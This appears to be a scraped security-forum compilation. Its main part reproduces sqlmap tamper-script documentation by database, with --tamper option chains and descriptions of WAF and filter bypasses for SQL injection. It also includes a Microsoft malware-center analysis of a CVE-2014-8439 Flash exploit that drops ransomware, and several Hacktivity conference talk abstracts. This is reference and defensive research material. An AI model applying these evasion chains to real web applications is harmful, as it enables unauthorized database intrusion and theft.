majority of databases multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters percentage Adds a percentage sign (‘%’) infront of each character Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass sp_password Appends ‘sp_password’ to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: The SQL Injection Knowledge Base space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2dash Replaces space character (‘ ‘) with a dash comment (‘–‘) followed by a random string and a new line (‘\n’) Requirement: * MSSQL * SQLite Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ space2mssqlblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 Notes: * Useful to bypass several web application firewalls space2mysqldash Replaces space character (‘ ‘) with a dash comment (‘–‘) followed by a new line (‘\n’) Requirement: * MySQL * MSSQL Tested against: Notes: * Useful to bypass several web application firewalls. space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases space2randomblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection MySQL --tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor between Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ Replaces equals operator (‘=’) with ‘BETWEEN # AND #’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases bluecoat Replaces space character after SQL statement with a valid random blank character. Afterwards replace character = with LIKE operator Requirement: * Blue Coat SGOS with WAF activated as documented in https://kb.bluecoat.com/index?page=content&id=FAQ2147 Tested against: * MySQL 5.1, SGOS Notes: * Useful to bypass Blue Coat’s recommended WAF rule configuration charencode Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS charunicodeencode Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset concat2concatws Replaces instances like ‘CONCAT(A, ’ with ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, ’ Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the CONCAT() function equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases halfversionedmorekeywords Adds versioned MySQL comment before each keyword Requirement: * MySQL < 5.1 Tested against: * MySQL 4.0.18, 5.0.22 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL * Used during the ModSecurity SQL injection challenge, ModSecurity: Open Source Web Application Firewall ifnull2ifisnull Replaces instances like ‘IFNULL(A, ’ with ‘IF(ISNULL(A), B, A)’ Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function modsecurityversioned Embraces complete query with versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS modsecurityzeroversioned Embraces complete query with zero-versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters percentage Adds a percentage sign (‘%’) infront of each character Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2hash Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’) Requirement: * MySQL Tested against: * MySQL 4.0, 5.0 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, ModSecurity: Open Source Web Application Firewall space2morehash Replaces space character (‘ ‘) with a pound character (‘#’) followed by a random string and a new line (‘\n’) Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.41 Notes: * Useful to bypass several web application firewalls * Used during the ModSecurity SQL injection challenge, ModSecurity: Open Source Web Application Firewall space2mysqldash Replaces space character (‘ ‘) with a dash comment (‘–‘) followed by a new line (‘\n’) Requirement: * MySQL * MSSQL Tested against: Notes: * Useful to bypass several web application firewalls. space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases space2randomblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string versionedkeywords Encloses each non-function keyword with versioned MySQL comment Requirement: * MySQL Tested against: * MySQL 4.0.18, 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL versionedmorekeywords Encloses each keyword with versioned MySQL comment Requirement: * MySQL >= 5.1.13 Tested against: * MySQL 5.1.56, 5.5.11 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection Oracle --tamper=between,charencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,space2randomblank,unionalltounion,unmagicquotes,xforwardedfor between Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ Replaces equals operator (‘=’) with ‘BETWEEN # AND #’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases charencode Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases space2randomblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection PostgreSQL --tamper=between,charencode,charunicodeencode,equaltolike,greatest,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2plus,space2randomblank,xforwardedfor between Replaces greater than operator (‘>’) with ‘NOT BETWEEN 0 AND #’ Replaces equals operator (‘=’) with ‘BETWEEN # AND #’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The BETWEEN clause is SQL standard. Hence, this tamper script should work against all (?) databases charencode Url-encodes all characters in a given payload (not processing already encoded) Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak web application firewalls that do not url-decode the request before processing it through their ruleset * The web server will anyway pass the url-decoded version behind, hence it should work against any DBMS charunicodeencode Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded) Requirement: * ASP * ASP.NET Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005 * MySQL 5.1.56 * PostgreSQL 9.0.3 Notes: * Useful to bypass weak web application firewalls that do not unicode url-decode the request before processing it through their ruleset equaltolike Replaces all occurances of operator equal (‘=’) with operator ‘LIKE’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the equal character (‘=’) * The LIKE operator is SQL standard. Hence, this tamper script should work against all (?) databases greatest Replaces greater than operator (‘>’) with ‘GREATEST’ counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The GREATEST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters percentage Adds a percentage sign (‘%’) infront of each character Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases space2randomblank Replaces space character (‘ ‘) with a random blank character from a valid set of alternate characters Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass several web application firewalls xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection SAP MaxDB ifnull2ifisnull,nonrecursivereplacement,randomcase,securesphere,space2comment,space2plus,unionalltounion,unmagicquotes,xforwardedfor ifnull2ifisnull Replaces instances like ‘IFNULL(A, ’ with ‘IF(ISNULL(A), B, A)’ Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection SQLite ifnull2ifisnull,multiplespaces,nonrecursivereplacement,randomcase,securesphere,space2comment,space2dash,space2plus,unionalltounion,unmagicquotes,xforwardedfor ifnull2ifisnull Replaces instances like ‘IFNULL(A, ’ with ‘IF(ISNULL(A), B, A)’ Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function multiplespaces Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt nonrecursivereplacement Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace(“SELECT”, “”)) filters Notes: * Useful to bypass very weak custom filters randomcase Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases securesphere Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: Full Disclosure: Imperva SecureSphere - SQL injection filter bypass space2comment Replaces space character (‘ ‘) with comments ‘/**/’ Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls space2dash Replaces space character (‘ ‘) with a dash comment (‘–‘) followed by a random string and a new line (‘\n’) Requirement: * MSSQL * SQLite Notes: * Useful to bypass several web application firewalls * Used during the ZeroNights SQL injection challenge, https://proton.onsec.ru/contest/ space2plus Replaces space character (‘ ‘) with plus (‘+’) Notes: * Is this any useful? The plus get’s url-encoded by sqlmap engine invalidating the query afterwards * This tamper script works against all databases unionalltounion Replaces UNION ALL SELECT with UNION SELECT unmagicquotes Replaces quote character (‘) with a multi-byte combo %bf%27 together with generic comment at the end (to make it work) Notes: * Useful for bypassing magic_quotes/addslashes feature Reference: * http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string xforwardedfor Append a fake HTTP header ‘X-Forwarded-For’ to bypass WAF (usually application based) protection Sursa: SQLMap Tamper Scripts | NI @RooT

An interesting case of the CVE-2014-8439 exploit msft-mmpc 2 Dec 2014 6:02 PM We have recently seen an exploit targeting the Adobe Flash Player vulnerability CVE-2014-8439 (we detect it as Exploit:SWF/Axpergle). This exploit is being integrated into multiple exploit kits, including the Nuclear exploit kit (Exploit:JS/Neclu) and the Angler exploit kit (Exploit:JS/Axpergle). Adobe released a patch in November to address this exploit (APSB14-26). Coincidentally, our investigation shows that Adobe released a patch to address a different exploit and that patch appears to have rendered this exploit useless. CVE-2014-0569 or CVE-2014-8439? In our analysis of the exploit code, we noticed that the exploit author seems to be confused about the CVE number of the vulnerability they are trying to exploit. It appears the author thinks the exploit is CVE-2014-0569, when the vulnerability they are actually targeting is CVE-2014-8439. This incorrect CVE number is used in the source path (Figure 1) of the SWF file. Figure 1: Incorrect CVE number (CVE-2014-0569) used The unusual control transfer trick To successfully deliver the attack, the exploit needs to transfer control to the deliberately crafted code. In this exploit we didn't see the common tricks used by SWF exploits to cause the control transfer (see Cracking the CVE-2014-0569 nutshell and A journey to CVE-2014-0497 exploit). Actually, we didn't even see any code which explicitly causes the control transfer. After some further investigation, we discovered the new trick used by this exploit: it attempts to use the vulnerability to corrupt a garbage collection (GC) object. In the GC object, there is an ITelemetry object pointer (offset 0x180 on the Flash Player we are analyzing). The ITelemetry object's VTABLE is crafted with the address to which the control is transferred (Figure 2). Figure 2: Crafted GC object, Crafted ITelemetry object and Crafted VTABLE entries The control will be transferred to return-oriented programming (ROP) gadgets via the ITelemetry.IsActive() virtual function call when garbage collection occurs (Figure 3). Figure 3: Control transferred to ROP gadgets Shellcode and payload The shellcode downloads and decrypts a DLL from a remote server. It then registers the DLL by executing the regsvr32 command. The DLL is detected as Ransom:Win32/Reveton, which is a lockscreen ransomware trojan. You should apply the update from Adobe, mentioned in APSB14-26, keep your software up-to-date, and use a real-time security product such as Microsoft Security Essentials to help protect your PC from this and other threats. Chun Feng MMPC Acknowledgements I would like to thank Timo Hirvonen from F-Secure and Kafeine from Malware don't need Coffee for the great help during my analysis. SHA1s used in this analysis: 647F07A99C9C1D38AAAEA9AF4ECC4F16989D0CA6 (detected as Exploit:SWF/Axpergle) D479D5F9C449CF04EE8F692D95ED939871269DD5 (detected as Ransom:Win32/Reveton.AA) Sursa: An interesting case of the CVE-2014-8439 exploit - Microsoft Malware Protection Center - Site Home - TechNet Blogs

[h=1]Danijel Grah, Milan Gabor - Vaccinating Android[/h] Înc?rcat pe 30 oct. 2014 https://www.hacktivity.com The number of mobile applications is rising and Android still holds a large market share. As the number of applications grows, we need better tools to understand how applications work and to analyze them. There is always the question if we can trust mobile applications to do only what they are allowed to do and if they are really secure when transmitting our personal information to different servers. In the presentation some runtime techniques will be discussed and a tool will be released that offers two approaches to analyze Android applications. The basic principle of the first approach is injecting a small piece of code into APK and then connecting to it and using Java Reflection to runtime modify value, call methods, instantiate classes and create own scripts to automate work. The second approach offers much the same functionality, but can be used without modifying an application. It uses Dynamic Dalvik Instrumentation to inject code at runtime so that modifying APK's isn't necessary. The tool is Java based and simple to use, but offers quite a few new possibilities for security engineers and pentesters.

[h=1]Aleksandr Timorin - SCADA Deep Inside: Protocols and Security Mechanisms[/h] Înc?rcat pe 29 oct. 2014 https://www.hacktivity.com In my topic I'll share my experience in the analysis of the most popular open and vendor specific proprietary industrial protocols. For each protocol I will present the packet structure, real examples, (in)secure features and possible hacks. At the end of the topic I'll share my practical approach, methodology and useful scripts. Also, 0 day vulnerabilities and exploits will be presented. Topic level and requirements: midlevel, requires base skills in networks, ISO/OSI model, hex numbers.

[h=1]Csaba Otti, Daniel Martinkovics, Sándor Kapitány, András Fehér - Iris Identification[/h] Înc?rcat pe 30 oct. 2014 https://www.hacktivity.com One of the most futuristic solutions of biometric identification (or regarded as such) is iris identification. Plenty of ideas and misbeliefs are associated with this technology. In our presentation we wish to present the truth, the real working of the technology, its solutions and, last but not least, some of its vulnerabilities. A live demo will show how an iris identification device works and how it can be attacked by using simple tools. In addition, we will talk about the main uses of iris identification. It is made especially relevant by the recent news that certain phone manufacturers plan to include iris identification in their mobile phones besides fingerprint recognition.

[h=1]Tibor B?sze - Cryptocurrencies: The Other Side of the Coin[/h] Înc?rcat pe 28 oct. 2014 https://www.hacktivity.com This presentation covers threats to the ecosystem along with practices a security conscious user should follow. It is explained how bitcoin, the dominant cryptocurrency, interfaces with the real world and why some exchanges, mining pools and wallet & payment related habits render risks, and how technology and common sense can be applied to mitigate these risks. A case study on remotely reverse engineering, the reward calculation method of a popular mining pool is shown, pinpointing differences between their published and applied formula, and turning the findings to our advantage. The focus is on technology & security; financial, economical or legal aspects are not discussed.

[h=1]Gábor Szappanos - Practical Shellcode Analysis[/h] Înc?rcat pe 28 oct. 2014 https://www.hacktivity.com The presentation will cover the tools and techniques a threat researcher can use to analyse shellcodes. The available free and commercial tools will be introduced. I will show how emulators and disassemblers can be used in the static analysis of shellcodes as well as the dynamic debugging possibilities. All of the methods will be demonstrated on real-life examples of shellcodes that were either used in targeted attacks or exploit-kit based web attacks..